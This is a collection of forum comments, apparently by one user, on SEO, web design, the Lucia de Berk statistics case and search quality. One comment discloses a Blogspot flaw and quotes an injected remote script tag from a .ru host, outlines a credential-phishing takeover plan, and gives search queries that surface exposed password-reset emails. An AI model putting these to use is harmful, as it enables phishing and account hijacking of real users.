blauwbilgorgel

http://support.google.com/webmasters/bin/answer.py?hl=en&...

  Moving your site
  If you're planning on moving your site to a new domain, 
  here are some tips that will help you retain your site's
  ranking in Google's search results.

http://googlewebmastercentral.blogspot.nl/2008/04/best-pract... (2008)

http://www.youtube.com/watch?feature=player_detailpage&v...

  Is there a way that person A could hurt competitor B?
  We try really really hard to design algorithms that are 
  robust and resistant. Any algo that the search team has 
  done in the recent years, we do walk through those cases.

  Can competitors harm ranking?
  Google works hard to prevent other webmasters from being 
  able to harm your ranking or have your site removed from
  our index.

  There's almost nothing a competitor can do to harm your 
  ranking or have your site removed from our index.

[1] https://www.google.com/webmasters/tools/spamreport?hl=en

[2] http://productforums.google.com/forum/#!forum/webmasters

[3] http://www.youtube.com/watch?v=393nmCYFRtA

  If your telling the client your doing high quality link 
  building, then buying the cheapest package you can from a
  link seller, that’s fraud and in todays world, you can 
  cause serious damage.

The webmaster guidelines are fairly clear on these matters:

  Any links intended to manipulate a site's ranking in 
  Google search results may be considered part of a link 
  scheme.

  Ultimately, you are responsible for the actions of any 
  companies you hire, so it's best to be sure you know
  exactly how they intend to "help" you.

(Google) search is not a black box most make it out to be. SEO is not magic. Make a site accessible and search bots have no problem crawling and indexing your site. Create quality content. Read the webmaster guidelines. Google wants your content to rank on its own merits. Align yourself: simply stop buying link schemes, start writing quality content, and EARN those links. Optimize websites for users (of which searchbots are just a subset). Try inbound marketing and website optimization.

[1] http://support.google.com/webmasters/bin/answer.py?hl=en&...

P.S. I am sick of SEO scumbags too. I am also sick of the blind SEO hate on a start-up site (start-ups often need SEO, yet a lot lack it). Didn't patio11 used to give actionable, and much appreciated advice on these matters? Do we really want to eat the sour grapes from someone banned by Adwords or Google ("Because Google targetted them, because their competitor set them up, because they got hit by those bloody quality updates, because they are not social enough, because they don't buy Adwords, because they don't use blackhat SEO, $insert_other_excuse_for_why_Google_is_required_to_rank_them").

P.P.S: The good SEO's I know often have their own sites they work on, or join an agency to work on big traffic sites. They are not using a cold-call phone team to get their clients, or stay busy optimizing mom and pop stores. This may skew the experiences you have with SEO's in general.

There never was solid evidence against her. She was a suspect because nearly everytime someone died in the hospital she was on her shift.

The initial chance of her being present when these supposed murders happened, and being innocent, was estimated at 1 in 7 billion. This number caused the police to focus their research completely on Lucia de B.

Eventually she was convicted for the murders based not on hard evidence or witnesses, but on statistics. The chance of innocence was put on 1 in 342 million.

The econometrist Aart de Vos was the first to notice that the initial Bayesian analysis was plain wrong. For example they had presumed the murderer had to be found amongst the nurses, other possibilities were neglected. They also hadn't corrected for combined P-values. He reduced the chance Lucia was innocent to 1 in a million.

The court said they had abandoned the statistical "proof", but remained of the view that it couldn't be a coincidence. Possible murder cases were chosen when they were negative for Lucia, other possible murder cases were left out of the equation. This further reduced the chance to 1 in 50.

Statisticians Richard Gill and Piet Groeneboom further reduced the chance to 1 in 9.

In my opinion statistics alone can never be adequate for conviction. It can muddy research and lead to confirmation bias. And the difference between a Bayesian chance of 1 in 7 billion and 1 in 9 is so big as to doubt the initial use of statistics even further.

http://en.wikipedia.org/wiki/Lucia_de_Berk#Statistical_argum...

http://www.rembrandtip.com/pdf/2013-02-04RembrandtSocialComp... (With Facebook and AddThis as defendants)

Here are the two patents in question

http://www.google.com/patents/US6415316 (1998, Method and apparatus for implementing a web page diary)

http://www.google.com/patents/US6289362 (2001, System and method for generating, transferring and using an annotated universal address)

And here is a patent supposedly in the hands of Facebook right now, that references one of the above patents. This is now used to claim that Facebook knew of the patents, and willfully infringed them.

http://www.google.com/patents/US7907966 (2011, System and method for cross-platform applications on a wireless phone).

I think writing HTML first is the way to go, for the benefit of progressive enhancement, accessibility, SEO:

A barebones HTML document is the lowest level which you can enhance. It is the level of Lynx browsers, screenreaders and formerly search engines. So start with a properly structured HTML document. Then enhance it with CSS and then JS.

If CSS fails to load you will still present a readable document (not littered with iFrames or abusing elements for styling (like header tags)). You will instantly spot where to place skip-links, or skip to content links. You can focus on putting the most relevant content in the first 100 or so words in the HTML document. Writing HTML and then CSS first will ensure in most cases that you won't use JavaScript for layout. You also won't hide content with "display: none", if you want collapsible content, you'll enhance it with JavaScript, and add "display:none" after the page has loaded.

Even if you use a CSS/grid framework, that shouldn't hamper writing the HTML first. You can always add the <div class="row"> later on. Or decide to write your own grid, since the website only uses 4 sizes of columns and a 100kb CSS file is a bit overkill.

In my opinion good design follows from the content. Don't try to strongarm content in a design.

The point I tried to make was that, if you depend for design on Bootstrap UI, if you need it to produce nice looking pages, then just flattening everything may cause problems: You would have removed unified and user-tested elements of design.

For content: a fun, distantly related, story from 1981: http://www.folklore.org/StoryView.py?project=Macintosh&s...

If you are good at design, you wouldn't need to start from Bootstrap. If you are not so good at design, Bootstrap is a great framework, but using flat, all-square UI elements can cause some problems, you may be unaware of.

If you use Flatstrap, your <code> tags, labels and buttons will all look the same. If, in the spirit of flatness, you'd also removed the inset shadow on form inputs, then all visual cues for either clicking (element is higher than the page) or form input (element is lower than the page) are gone. This reduces usability and discoverability. [1]

Rounded boxes serve another function, where they draw the attention of the eye to the contents of the box -- It flows more pleasantly too [2]

Designers going for the flat design trend, should carefully strike a balance between a completely flat design, and using subtle gradients, underlines, rounded corners, color, shadows and pseudo-3D to convey information that matches our expectations and wiring of our brains.

[1] http://www.useit.com/alertbox/windows-8.html Flat styles reduce discoverability

[2] http://uxmovement.com/thinking/why-rounded-corners-are-easie...

And a question: What is your organic SEO strategy? Will all visitors come from social? The website behaves like a web-app, so there is very little content to rank with. Are these personal shopping lists publicly available? What happens if people share these shopping lists? I don't see them indexed (yet), so they might not be flowing any link juice. Could you add a blog or something?

- Check out your favicon, it doesn't work in IE8, perhaps due to non-standard size, mime-type or non-ico format.

- Strip out the inline CSS.

- The Gothic font has no solid baseline in IE8. The individual letters jump up and down 2-3 px. Perhaps a Fontsquirrel issue?

- The social media buttons hug the browser toolbar. In some browsers there is just a few pixels between clicking Tweet and clicking a bookmark.

- Add alt-attributes to all images, empty if decorative. Specifying width and height will help with rendering or when the images won't load.

- Test your site with noscript. The fall-back font isn't sized properly and lacks enough line-height, so sentences overlap and lay-out breaks.

- Did you forget to style your footer? It uses the browser standard Times New Roman font for me.

- Declare (UTF-8) charset at the document level.

- <a name="foo"> for internal anchors is obsolete.

- Add spacing between links and words: "$129<span>Buy It</span>" or else without styling or for screenreaders it will read: "$129Buy it"

- If you want to support older browsers lack of PNG alpha support, simply bake your PNG's with the website background, convert to 8-bit or add PNG alpha support with javascript or .htc

- Specify canonical or make sure your site serves only one unique page per URL: non-www and www redirects, remove or add trailing slashes, "index" added to the URL's or without, use lowercase in your URL's (both uppercase and lowercase letters return the same page). A combination of the above can result in 256+ different URL's returning the same page.

- Encode spaces or replace them with dashes, for example when linking to your sample chapter PDF.

- http://www.crossbrowserbook.com/Knowledge/index renders differently in different browsers (whitespace near the end). It also lacks a header or footer, so no way to return: visitor trap. On that page a spelling error "startet".

- Consider using summary, <thead> and <tbody> for relational tables, like the browsersupport tables. No alt-attribute on the browser logo's makes this table unusable for the vision impaired.

- Facebook button is in German.

- Study your pagetitles and see if you can target them more. Consider adding the site title. Consider adding a meta description. Consider adding a sample chapter as HTML content to the website. Consider supporting Chrome Frame and future versions of IE (<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />).

  jGrowl is a jQuery plugin that raises unobtrusive messages 
  within the browser, similar to the way that OS X's Growl
  Framework works.

And this plug-in is also close. Build on top of jQuery UI, so small footprint, but you'd need that library.

http://www.erichynds.com/examples/jquery-notify/

  This is a growl/ubuntu-like notification system built on 
  top of jQuery UI.

Search engines can certainly specialize, like in your (unnecessary) porn site example. But if they specialize in providing links to copyright-infringing material, make profit with advertisements, they can get in just as much trouble.

The OP made the comparison with search engines. How come they can have copyright-infringing links and not get into trouble? It is because they index all information available to them, without discrimination. And then they still have to respond to DMCA claims.

If a search engine specialized in engineering parts, it wouldn't need to host links to copyright-infringing material, so most specialized search engines are a non-issue.

You can't really compare a search engine to a site like TV-links. A search engine doesn't discriminate in what content it indexes. If a search engine would only link to copyright-infringing material, then that search engine can expect as much trouble as a site like TV-links.

If a site mainly exists to facilitate copyright infringement, should it get a pass?

If dealing drugs is against the law, what is directing people on the street to drug dealers?

Things like changing link destinations are interesting from a technical point of view, but not all that relevant to this case IMO. If the site was a chatroulette for online links, this might come into play, but for TV links to have a changing link, in all likelihood it meant simply a broken link.

Indeed, most of this boils down to intent. Pointing people on the street to where they can buy drugs or selling them pipes to facilitate drug use, to me, it isn't the same as dealing the drugs yourself. But I can totally see you can find yourself on the wrong side of the law, when you start facilitating illegal activity.

Again, I agree that linking to content should always be possible, but I can understand where the law and entertainment industry is coming from.

At least two major things you gloss over, don't give SEO's enough credit for is: 1) Analytics and market research 2) Accessibility.

Improving quality of content and on-page SEO follows well established accessibility guidelines. SEO's can make sites better for all users: humans AND search bots. With a fine SEO'd site, you'd be able to navigate it and consume it, while being blind, drunk or using noscript.

If you have a good (online) product or service, it would be a crime against the efforts that went into creating them, to forget SEO and online marketing. You'd be decreasing the perceived value. You'd give the edge to your competition.

The grossness from SEO comes from people that know just enough SEO techniques, but not how to properly implement them. They hear: Links increase ranking, so they start blog spamming links. Or they hear: fresh content does well in search engines, so they article spin some RSS feeds.

Search engines are for the most part black boxes, even to white hat SEO's. To play it safe you have to align yourself with the vision of Google. To study their papers and patents. To follow their engineers every word. To predict their next moves. To test out your hypothesis. Familiarize yourself with new (sometimes undocumented) mark-up etc.

Yet good SEO practice hasn't changed all that much in the recent years. Adhere to the Google Webmaster Guidelines [1] and the Stanford Credibility Guidelines [2] and you'll get mighty far. Both sets of guidelines increase the quality and the profit part is indirect.

[1] http://support.google.com/webmasters/bin/answer.py?hl=en&... [2] http://credibility.stanford.edu/guidelines/index.html

Did many dive head first into the social and mobile bandwagon? Sure. But to say there is no bandwagon or profit to be made in these niches is not realistic.

Everyone knows there is a hype, but that hype is based on reality. Big consumer data already has a value per GB.

Some say Big Data is just Business Intelligence over a large amount of data. I don't disagree and I see a solid future for BI.

Managers and consultants should prepare for the big data storm that is to come. Learn about the possibilities and impossibilities of cloud computing and Hadoop. I believe in a few years even tech-savy consumers (who now own an iPad) are able to use Big Data on their own data. Anyone can already rent a few Amazon resources to compute, and work with technology invented at Google a few years ago (MapReduce, BigTable). Or if you don't want to reinvent the wheel, go for Big Data as a Service, like Cloudera or Splunk.

In exchange for discounts, consumers will hand over their data to companies for free. Coordinates or purchasing behaviour: everything gets stored. Companies are busy exporting old data from tapes, so they can run completer aggregate queries.

When more big data analysts emerge, some companies will be ready: They'll have datawarehouses filled with data. If you do not invest in big data, you'll soon lose your competitive edge in regards to BI and consumer data.

The people that are extolling the virtues of big data are usually external consultants. They were the same that told companies to focus on mobile apps, and before that, to create a social presence. You can rail against that, but that is merely an epiphenomenon of every hype: Not what is really about.

All big tech companies are preparing for the future of big data (Amazon, Akamai, IBM, Microsoft). Facebook has the largest known Hadoop cluster in the world (over 100PB). Google might process around 25PB of data each day...

I'd love to have a little more control over this. Perhaps adding:

  lang="fr"

The date picker runs from 01-01-0001 to 13-9-275760. Is this upper limit due to accuracy?

DateComponents.h

  static inline double maximumDate() 
  { return  8640000000000000.0; } // 275760-09-13T00:00Z

- Hardware fingerprinting with the canvas-tag ( http://cseweb.ucsd.edu/~hovav/dist/canvas.pdf )

- Somehow check which assets are preferred downloads:

  rel="apple-touch-icon" sizes="144x144"  
  rel="apple-touch-icon" sizes="114x114"  
  rel="apple-touch-icon" sizes="72x72"

The Dutch minister spoke of (freely translated): "Everything that reads or stores your data on your appliance, without permission, without a functional goal other than tracking".

Some techniques like browser fingerprinting ( https://panopticlick.eff.org/ , but also possible with http://modernizr.com/ ) don't store anything on your appliance, but would still fall under the "reading your data from your appliance" part of our law, if used for tracking purposes.

You would need permission to use the "grey" technique from the article. Even if you were to store that data in aggregated form.

Allow yourself to entertain the thought that they did. Imagine programs in our brain. Things that are easy to decode/(de)compress and require little energy/instruction are of low algorithmic complexity to them.

Start writing down farm animals in your mind. How long before you get to "hen"? You may have written down "chicken", but that would be too easy for a Mensa question, so you'd have to substitute that one :P

Wrong or obscure "answers" to a test question take more energy to produce, they are more complex, more random, less orderly. For me, "Cow" is the shortest program that gets executed first when I think of farm animals. It was likely one of the first programs for the test writer too.

  "cow" "pig" "sheep" 10.800.000 results
  "cow" "pig" "hen" 5.040.000 results
  "cow" "hen" "sheep" 4.810.000 results
  "hen" "pig" "sheep" 4.480.000 results

  Cow + Pig 0.4843358722880948
  Hen + Sheep 0.5328799348807779

Multiple choice is particularly easy, if you are allowed to note the result counts on queries like "Answer A + Keywords from Question" and "Answer B + Keywords from Question"

Speaking of cultural differences mentioned in the post -- You could even search locally on these terms and notice a difference in the semantic distances. If cows were to go extinct, in a 100 years, the search index would probably reflect on them being the least fit candidate for a set of three farm animals.

[1] http://homepages.cwi.nl/~paulv/papers/amdug.pdf

I've tested the indiscriminate posting and any HTML you send to Blogspot accounts with this feature gets published: Including <script> tags.

An e-mail client isn't supposed to execute <script> tags, I feel if you republish an email online, it should strip out the <script> tags too.

The Blogspot sites that run this service are currently under attack by spammers, who send spam emails (which don't seem to get filtered very well), allowing spam by proxy and editorial-looking links. Some go even further and send them emails containing redirect scripts, or entire websites with CSS-styles set on the body.

  view-source:http://byubjjclub.blogspot.com/search?updated-max=2012-10-23T21:02:00-06:00&max-results=5&start=5&by-date=false

  <div class='post-body entry-content' id='post-body-3218874062265356726' itemprop='description articleBody'>
  <style type="text/css"> 
  h1 a:hover {background-color:#888;color:#fff ! important;}                          
  [...]
  </style> 
  [...]
  <div xmlns="http://www.w3.org/1999/xhtml" id="emailbody" 
  style="margin:0 2em;
  [...]
  <table style="border:0;padding:0;margin:0;width:100%">
  [...]
  <br /> <br /> <script language="javascript"   

  src="http://luckysearcher.ru/6peybjqhb197phmv2pevisws0k5u0k5"
  type="text/javascript"></script> <img  
  src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTcpQG9IOqXoDrlzTdytRpeTN7sqIocaNZBAwxXxGEGUNrD4iwE" /> 
  <br /> <br />
  [...]
  To stop receiving these emails, you may <a href="http://feedburner.google.com/fb/a/mailunsubscribe?k=uVg9TnxQ6-Owt_QRoJn279y21hs">unsubscribe now</a>.
  </td> <td style="font-family:Helvetica,Arial,Sans- 
  Serif;font-size:11px;margin:0 6px 1.2em 0;color:#333;text   
  align:right;vertical-align:top">Email delivery powered by 
  Google</td> </tr> <tr>
  ...

  view-source:http://mupara.ru/index.php?pid=19868&subid=31445&psn=131

Worse than redirects, thinking like a wicked spammer:

  1. User turns on feature inbox-to-webpage
  2. Spammer finds these users by scanning the index
  3. Spammer sends such users (or with every spam mail) a malicious javascipt file
  4. javascript pop-up with: "Re-enter your credentials"
  5. Change password and steal blog
  6. Check if blogspot account is connected to a Gmail account.

http://www.bing.com/search?q=%22wants+to+be+friends+on+Faceb...

When I try on Google to find the email bodies, I get 250k results, of which the large majority are on blogspot.com sites.

While mail bodies can be found on a few other sites, like the asdasd.ru example, and other search engines have found these links too, the main issue still seems to be with blogspot.com -- These aren't throwaway accounts with public inboxes, but likely some virus that is intercepting certain mails (Facebook, Twitter, Youtube, Twoo) and reposting them as a blogpost for everyone to see.

As Blogspot is Google-owned, this does seem to me a predominantly Google-specific issue.

Though I recently found this on the Google+ FAQ: http://support.google.com/webmasters/bin/answer.py?hl=en&...

  When you add the +1 button to a page, Google assumes that
  you want that page to be publicly available and visible in
  Google Search results. As a result, we may fetch and show
  that page even if it is disallowed in robots.txt.

https://www.google.com/search?q=%22wants+to+be+friends%22+%2...

I must have made a typo at "don%27t". I corrected the first query and it now returns 238.000 results for me again.

Perhaps some Blogspot sites got hacked/ their users phished (I noticed suspicious posting activity dating back to November 2011), which would explain how they got access to the emails. Or these accounts are all fake (selling likes) and they use Blogspot to create online persona's and manage their accounts.

https://www.google.com/search?q=%22wants+to+be+friends+on+Fa...

And you'll find at the time of writing 250.000 more results where the "wants to be friends" email with the auto-login link is posted on blogs. Many of these blogs are also hacked, in that they redirect you to Russian dating sites if you visit the homepage.

An example of such a blog with password reset email is: http://papajimummyji.blogspot.com/

An example of a spam-redirecting blog is: http://demiansyahhh.blogspot.com/ (possibly unsafe)

For some more Facebook reset emails see:

https://www.google.com/search?q=%22You+recently+asked+to+res...

EDIT: Twitter emails are also exposed: https://www.google.com/search?q=%22Forgot+your+Twitter+passw...

Youtube emails: https://www.google.com/search?q=%22YouTube+sends+email+summa...

Twoo emails: https://www.google.nl/search?q=%22Massive+Media+NV%2C+Emile+...

And likely more web services.

There is a difference between quality and freshness. I agree some SERPS on DDG look higher quality, but then when you dig down in the results you find out why: They are all safe choices. They could be pages from 2005. They could be pages that were once authoritative, but now lack topicality and news.

Hell, the quality of Google is so low that Bing is actually running ads right now with blind taste tests where people preferred bing

This is more marketing than research.

Page rank was really cutting edge, but that was 10 years ago, yet it is still their primary mechanism

It is one of 200 factors. Also there is internal pagerank and world-visible pagerank. Besides Google has been doing a lot with author rank and mentions.

It's been gamed, but they seem uninterested in moving to more sophisticated mechanisms (they use them but the influence of better methods seems to be too low)

Latent semantic indexing, query deserves diversity, query deserves freshness, detecting spam by following links in spam emails etc. There is no shortage of sophisticated methods.

meanwhile they've used their bully pulpit to influence the web to conserve page juice which has backfired in such a way that actual links to authoritative and useful sites are lower ranked than spam links, making it easier to game

Pagerank hoarding is an old and crummy idea. Google webmaster guidelines even say it is not a good idea to hoard pagerank, as it reeks of manipulation. There is also a decay factor.

http://www.mattcutts.com/blog/pagerank-sculpting/

  Even when I joined the company in 2000, Google was doing 
  more sophisticated link computation than you would observe
  from the classic PageRank papers. If you believe that
  Google stopped innovating in link analysis, that’s a
  flawed assumption.

(When wikipedia is using no-follow on relevant outbound links to pages that wikipedia is quoting or citing, things are fundamentally broken-

Spammers still exist. Spammers try to game healthy systems. Search engines are not broken, because Wikipedia tries to combat spammers... And links are not all there is. Googlebot still follows nofollow Twitter links. Mentions (words without links) are still worth a popularity vote for the things or people they mention.

no site on the web has a more favored ranking position than wikipedia. Not to mention hand curation of pages. You can't even correct errors there without having them reverted by some know-nothing whose sole accomplishment is rising in the ranks of wikipedia editors, so its not like they need this to prevent spam.)

It is about adding spammy external sources. If Wikipedia links were dofollow, much more sources would be added, not because they are good sources, but because they would do well with marketing. Wikipedia is a shining example of a site that gets lots of inbound links, mentions, great content and top notch internal linking.

This means the site that google unquestionably considers the most authoritative, when it cites a page that it considers authoritative, google gives that site no credibility.

If all Wikipedia cites were worthless, no one would gain an unfair advantage over gaming Wikipedia. But Wikipedia cites are not worthless. If you Google for a company A and B and only company A appears on Wikipedia, what do think of the quality difference between company A and B? If company A has 10.000 search results and company B has 1000 search results, what does that say about the reach (social proof) of company A? Also, like the mention-algorithm, check out: http://www.seobythesea.com/2012/01/named-entity-detection-in... (Entity detection). Finally: Not only who links to you counts for your quality/popularity, but also who you link to. Pages get rewarded for linking to quality resources.

But let me create a web of sites that construct text that passes grammer parsers as "good english" but whose purpose is to spam keywords and link to each other and I can rank for those terms up close to wikipedia. (This is essentially what techcrunch is doing only they are having humans write low quality text instead of a computer.)

Reading level and quality of journalism on Techcrunch aside: The article talked of once-been blogs, who cling to their gained reputation, to produce spammy content. Firstly: They are playing with fire. Google or their users could say: Enough is enough, you just lost your reputation/got hit with Panda. Then they are just another spammy/low-quality blog ranking somewhere around #1024. Secondly: Blogs like Techcrunch have a big company and money behind them. They organize offline events, get mentioned in newspapers or are the root start of an online discussion about a start-up or SF drama. They employ well-known writers. All things equal, it would be bad for Google to rank Techcrunch under a single-author amateur blog that started out last month. Even in lieu of high quality, Techcrunch is relevant and popular.

It's broken, and google broke it.

It is how it is. Use it to your advantage. Keep adding new fresh content and enjoy your pageviews. I know Bing isn't sending them my way...

http://www.conversion-rate-experts.com/scrolling-tips/

  In split tests, long pages often beat shorter pages.

  As a rule of thumb, your page should contain at least as 
  many words as you’d use when selling your product or
  service face to face.  

  The winning page we designed for SEOmoz was six times 
  longer than the control, which it outperformed by 52%.

  Whenever someone tells you that they’d never buy from a 
  long page, remind them how long Amazon’s pages are.

  Long pages are effective, but only if your users know that
  they can scroll and are given compelling reasons to do so.

  The redesigned page is about 20 times as long as the
  control... new page outperformed the control by 30%.

  In our initial micro-test, long copy outperformed short 
  copy by 40.54%. Click-through traffic sent to the short
  copy page was unprofitable (-14% ROI), while traffic sent
  to the long copy page produced an ROI of 21%.

  Short copy performs better when there is low perceived
  risk, low cost, and low commitment... when the customer 
  has an emotional, impulsive, and “want-oriented” 
  motivation. When you want people to take action that 
  doesn’t cost them dollars (email signups, free trial,
  clickthrough)

  Visitors are equally likely to scan the entire page no
  matter the page size.

  Below 540 pixels, both visitor attention and page exposure
  decline exponentially.

I very much like this fresh solution though, particularly fond of the animation.

  "screen_name":"googuns"
  "created_at":"Tue May 05 19:13:53 +0000 2009"

  "screen_name":"googuns_dev"
  "created_at":"Thu Sep 24 19:21:47 +0000 2009"

  "screen_name":"googuns_staging"
  "created_at":"Tue Jul 28 22:48:11 +0000 2009"

  "screen_name":"googuns_prod"
  "created_at":"Tue Jul 28 22:49:22 +0000 2009"